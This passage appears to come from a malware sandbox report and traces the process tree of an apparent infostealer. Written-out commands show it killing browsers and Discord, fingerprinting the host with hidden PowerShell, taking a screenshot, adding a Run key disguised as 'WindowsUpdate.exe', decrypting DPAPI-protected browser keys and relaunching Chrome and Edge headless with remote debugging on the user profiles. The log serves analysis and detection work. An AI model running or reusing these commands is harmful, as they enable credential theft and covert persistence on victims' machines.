                                                                                                  • Executes a command shell one-liner
                                                                                                  PID:976
                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                    taskkill /F /T /IM wavebox.exe
                                                                                                    3⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2096
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM ghostbrowser.exe"
                                                                                                  2⤵
                                                                                                  • Executes a command shell one-liner
                                                                                                  PID:4372
                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                    taskkill /F /T /IM ghostbrowser.exe
                                                                                                    3⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:5592
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM qqbrowser.exe"
                                                                                                  2⤵
                                                                                                  • Executes a command shell one-liner
                                                                                                  PID:1248
                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                    taskkill /F /T /IM qqbrowser.exe
                                                                                                    3⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1964
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM maxthon.exe"
                                                                                                  2⤵
                                                                                                    PID:5144
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      3⤵
                                                                                                        PID:4784
                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                        taskkill /F /T /IM maxthon.exe
                                                                                                        3⤵
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:5872
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM waterfox.exe"
                                                                                                      2⤵
                                                                                                      • Executes a command shell one-liner
                                                                                                      PID:716
                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                        taskkill /F /T /IM waterfox.exe
                                                                                                        3⤵
                                                                                                        • Kills process with taskkill
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:3852
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM palemoon.exe"
                                                                                                      2⤵
                                                                                                        PID:1908
                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                          taskkill /F /T /IM palemoon.exe
                                                                                                          3⤵
                                                                                                          • Kills process with taskkill
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:244
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM basilisk.exe"
                                                                                                        2⤵
                                                                                                          PID:4788
                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                            taskkill /F /T /IM basilisk.exe
                                                                                                            3⤵
                                                                                                            • Kills process with taskkill
                                                                                                            PID:1600
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM seamonkey.exe"
                                                                                                          2⤵
                                                                                                          • Executes a command shell one-liner
                                                                                                          PID:2128
                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                            taskkill /F /T /IM seamonkey.exe
                                                                                                            3⤵
                                                                                                            • Kills process with taskkill
                                                                                                            PID:6128
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM librewolf.exe"
                                                                                                          2⤵
                                                                                                            PID:5908
                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                              taskkill /F /T /IM librewolf.exe
                                                                                                              3⤵
                                                                                                              • Kills process with taskkill
                                                                                                              PID:5700
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM Discord.exe"
                                                                                                            2⤵
                                                                                                              PID:5224
                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                taskkill /F /T /IM Discord.exe
                                                                                                                3⤵
                                                                                                                • Kills process with taskkill
                                                                                                                PID:6004
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM DiscordCanary.exe"
                                                                                                              2⤵
                                                                                                                PID:2508
                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                  taskkill /F /T /IM DiscordCanary.exe
                                                                                                                  3⤵
                                                                                                                    PID:4824
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM DiscordPTB.exe"
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:3672
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /F /T /IM DiscordPTB.exe
                                                                                                                    3⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    PID:5684
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM DiscordDevelopment.exe"
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:3224
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /F /T /IM DiscordDevelopment.exe
                                                                                                                    3⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    PID:3240
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM Lightcord.exe"
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:464
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /F /T /IM Lightcord.exe
                                                                                                                    3⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    PID:5432
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="chrome.exe" delete"
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:5140
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic process where name="chrome.exe" delete
                                                                                                                    3⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:2608
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="msedge.exe" delete"
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:5928
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic process where name="msedge.exe" delete
                                                                                                                    3⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:6092
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="brave.exe" delete"
                                                                                                                  2⤵
                                                                                                                  • Executes a command shell one-liner
                                                                                                                  PID:1696
                                                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                    wmic process where name="brave.exe" delete
                                                                                                                    3⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:4688
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="opera.exe" delete"
                                                                                                                  2⤵
                                                                                                                    PID:5044
                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                      wmic process where name="opera.exe" delete
                                                                                                                      3⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4936
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="vivaldi.exe" delete"
                                                                                                                    2⤵
                                                                                                                    • Executes a command shell one-liner
                                                                                                                    PID:4416
                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                      wmic process where name="vivaldi.exe" delete
                                                                                                                      3⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4424
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "wmic process where name="chromium.exe" delete"
                                                                                                                    2⤵
                                                                                                                    • Executes a command shell one-liner
                                                                                                                    PID:1036
                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                      wmic process where name="chromium.exe" delete
                                                                                                                      3⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:2376
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /FI "IMAGENAME eq discord*""
                                                                                                                    2⤵
                                                                                                                    • Executes a command shell one-liner
                                                                                                                    PID:4248
                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                      taskkill /F /FI "IMAGENAME eq discord*"
                                                                                                                      3⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      PID:1124
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "timeout /t 5 /nobreak"
                                                                                                                    2⤵
                                                                                                                    • Executes a command shell one-liner
                                                                                                                    PID:3308
                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                      timeout /t 5 /nobreak
                                                                                                                      3⤵
                                                                                                                      • Delays execution with timeout.exe
                                                                                                                      PID:5492
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\Update Manager" --field-trial-handle=2092,i,3828400743364683178,10513132489134612830,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2084 /prefetch:11
                                                                                                                    2⤵
                                                                                                                      PID:1552
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID""
                                                                                                                      2⤵
                                                                                                                      • Executes a command shell one-liner
                                                                                                                      PID:6008
                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                        powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
                                                                                                                        3⤵
                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        PID:6072
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-PSDrive C).Used + (Get-PSDrive C).Free""
                                                                                                                      2⤵
                                                                                                                        PID:3488
                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                          powershell -NonInteractive -WindowStyle Hidden -Command "(Get-PSDrive C).Used + (Get-PSDrive C).Free"
                                                                                                                          3⤵
                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:972
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name""
                                                                                                                        2⤵
                                                                                                                          PID:4508
                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                            3⤵
                                                                                                                              PID:5872
                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name"
                                                                                                                              3⤵
                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                              PID:4460
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-Process).Name -join ','""
                                                                                                                            2⤵
                                                                                                                            • Executes a command shell one-liner
                                                                                                                            PID:3732
                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                              3⤵
                                                                                                                                PID:2608
                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -NonInteractive -WindowStyle Hidden -Command "(Get-Process).Name -join ','"
                                                                                                                                3⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                PID:888
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-NetAdapter).InterfaceDescription -join ','""
                                                                                                                              2⤵
                                                                                                                                PID:404
                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell -NonInteractive -WindowStyle Hidden -Command "(Get-NetAdapter).InterfaceDescription -join ','"
                                                                                                                                  3⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  PID:3652
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
                                                                                                                                2⤵
                                                                                                                                  PID:3536
                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
                                                                                                                                    3⤵
                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                    PID:5712
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Get-ChildItem HKLM:\\SOFTWARE | Select-Object -ExpandProperty PSChildName""
                                                                                                                                  2⤵
                                                                                                                                    PID:1496
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell -NonInteractive -WindowStyle Hidden -Command "Get-ChildItem HKLM:\\SOFTWARE | Select-Object -ExpandProperty PSChildName"
                                                                                                                                      3⤵
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      PID:2700
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())""
                                                                                                                                    2⤵
                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                    PID:2492
                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $p=[System.Windows.Forms.Cursor]::Position; Write-Output ($p.X.ToString() + ',' + $p.Y.ToString())"
                                                                                                                                      3⤵
                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                      PID:3048
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f"
                                                                                                                                    2⤵
                                                                                                                                      PID:4348
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f
                                                                                                                                        3⤵
                                                                                                                                        • Adds Run key to start application
                                                                                                                                        PID:3652
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID""
                                                                                                                                      2⤵
                                                                                                                                        PID:3464
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystemProduct).UUID"
                                                                                                                                          3⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          PID:4916
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_Processor).Name""
                                                                                                                                        2⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:4812
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_Processor).Name"
                                                                                                                                          3⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          PID:2196
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name""
                                                                                                                                        2⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:3440
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_VideoController | Select-Object -First 1).Name"
                                                                                                                                          3⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          PID:2404
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true} | Select-Object -First 1).MACAddress""
                                                                                                                                        2⤵
                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                        PID:4104
                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                          3⤵
                                                                                                                                            PID:1572
                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell -NonInteractive -WindowStyle Hidden -Command "(Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled -eq $true} | Select-Object -First 1).MACAddress"
                                                                                                                                            3⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            PID:852
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$b.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\tmp_1787111896125.png'); $g.Dispose(); $b.Dispose()""
                                                                                                                                          2⤵
                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                          PID:4284
                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                            3⤵
                                                                                                                                              PID:1656
                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                              powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$b.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\tmp_1787111896125.png'); $g.Dispose(); $b.Dispose()"
                                                                                                                                              3⤵
                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                              PID:3924
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                                                                            2⤵
                                                                                                                                              PID:3556
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                                                                              2⤵
                                                                                                                                                PID:4244
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\mkymdrq2wre_cv\b\668ojy6264p.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\mkymdrq2wre_cv\b\668ojy6264p.exe chrome -k -o C:\Users\Admin\AppData\Local\Temp\mkymdrq2wre_cv\o
                                                                                                                                                2⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:1648
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5576
                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  powershell -NoProfile -Command " Add-Type -AssemblyName System.Security.Cryptography.ProtectedData [void][System.Reflection.Assembly]::LoadWithPartialName('System.Security') try { $encData = [System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\91f8qc.bin') $decData = [System.Security.Cryptography.ProtectedData]::Unprotect($encData, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) [System.IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\6dx9l7p.bin', $decData) } catch { exit 1 } "
                                                                                                                                                  2⤵
                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                  PID:4872
                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                  reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4492
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                                                                                    2⤵
                                                                                                                                                      PID:2284
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chrome.exe"
                                                                                                                                                      2⤵
                                                                                                                                                        PID:252
                                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                                          taskkill /F /T /IM chrome.exe
                                                                                                                                                          3⤵
                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                          PID:1152
                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                        powershell -NoProfile -NonInteractive -Command "Start-Process -FilePath 'C:\Program Files\Google\Chrome\Application\chrome.exe' -ArgumentList '--remote-debugging-port=9443','--headless','--no-first-run','--no-default-browser-check','--disable-sync','--disable-extensions','--no-sandbox','--disable-gpu','--disable-background-mode','--disable-crash-reporter','--disable-client-side-phishing-detection','--disable-default-apps','--no-pings','--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data','--profile-directory=Default','--hide-crash-restore-bubble','--disable-session-crashed-bubble' -WindowStyle Hidden"
                                                                                                                                                        2⤵
                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                        • Uses browser remote debugging
                                                                                                                                                        PID:3188
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9443 --headless --no-first-run --no-default-browser-check --disable-sync --disable-extensions --no-sandbox --disable-gpu --disable-background-mode --disable-crash-reporter --disable-client-side-phishing-detection --disable-default-apps --no-pings --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data --profile-directory=Default --hide-crash-restore-bubble --disable-session-crashed-bubble
                                                                                                                                                          3⤵
                                                                                                                                                          • Uses browser remote debugging
                                                                                                                                                          PID:4412
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\User\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff9486c728,0x7fff9486c734,0x7fff9486c740
                                                                                                                                                            4⤵
                                                                                                                                                              PID:5040
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chrome.exe"
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                          PID:5600
                                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                                            taskkill /F /T /IM chrome.exe
                                                                                                                                                            3⤵
                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                            PID:6228
                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                          powershell -NoProfile -Command " Add-Type -AssemblyName System.Security.Cryptography.ProtectedData [void][System.Reflection.Assembly]::LoadWithPartialName('System.Security') try { $encData = [System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\atj9y.bin') $decData = [System.Security.Cryptography.ProtectedData]::Unprotect($encData, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) [System.IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\9hvfup.bin', $decData) } catch { exit 1 } "
                                                                                                                                                          2⤵
                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                          PID:3928
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                                                                                          2⤵
                                                                                                                                                            PID:6316
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1076
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM msedge.exe"
                                                                                                                                                              2⤵
                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                              PID:1376
                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                taskkill /F /T /IM msedge.exe
                                                                                                                                                                3⤵
                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                PID:4772
                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9739 --headless --no-first-run --no-default-browser-check --disable-sync --disable-extensions --no-sandbox --disable-gpu --disable-background-mode --disable-crash-reporter --disable-client-side-phishing-detection --disable-default-apps --no-pings "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default
                                                                                                                                                              2⤵
                                                                                                                                                              • Uses browser remote debugging
                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                              PID:5692
                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
